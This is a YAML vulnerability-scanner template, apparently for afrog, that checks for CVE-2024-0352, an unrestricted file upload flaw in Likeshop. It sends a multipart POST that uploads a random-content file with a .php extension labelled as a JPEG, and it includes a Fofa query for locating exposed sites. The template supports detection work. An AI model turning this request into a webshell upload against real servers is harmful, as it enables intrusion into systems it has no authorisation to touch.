CVE-2024-0352: Likeshop userFormImage 文件上传漏洞

id: CVE-2024-0352

info:
  name: Likeshop userFormImage 文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |-
    Likeshop up to 2.5.7.20210311 存在一处安全漏洞，被分类为严重级别。该漏洞影响 HTTP POST 请求处理组件的 file server/application/api/controller/File.php 的函数 FileServer::userFormImage。攻击者可以通过对参数 file 的篡改来实现未受限的文件上传。攻击可以远程发起，且已经公开披露并可能被利用。该漏洞的标识符为 VDB-250120。
    Fofa: icon_hash="874152924"
  reference:
    - https://mp.weixin.qq.com/s?__biz=MzU1ODQ2NTY3Ng==&mid=2247485236&idx=1&sn=5a40524f9cf429b521dfd381f1b1602e
  tags: likeshop,fileupload
  created: 2024/01/16

set:
  rboundary: randomLowercase(8)
  filename: randomLowercase(6)
  bodystr: randomLowercase(16)
rules:
  r0:
    request:
      method: POST
      path: /api/file/formimage
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.php\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        {{bodystr}}\r\n\
        \r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: |
      response.status == 200 &&
      response.body.bcontains(b'"code":1') &&
      response.body.bcontains(b'"msg":"上传文件成功"') &&
      response.body.bcontains(b'"data":')
expression: r0()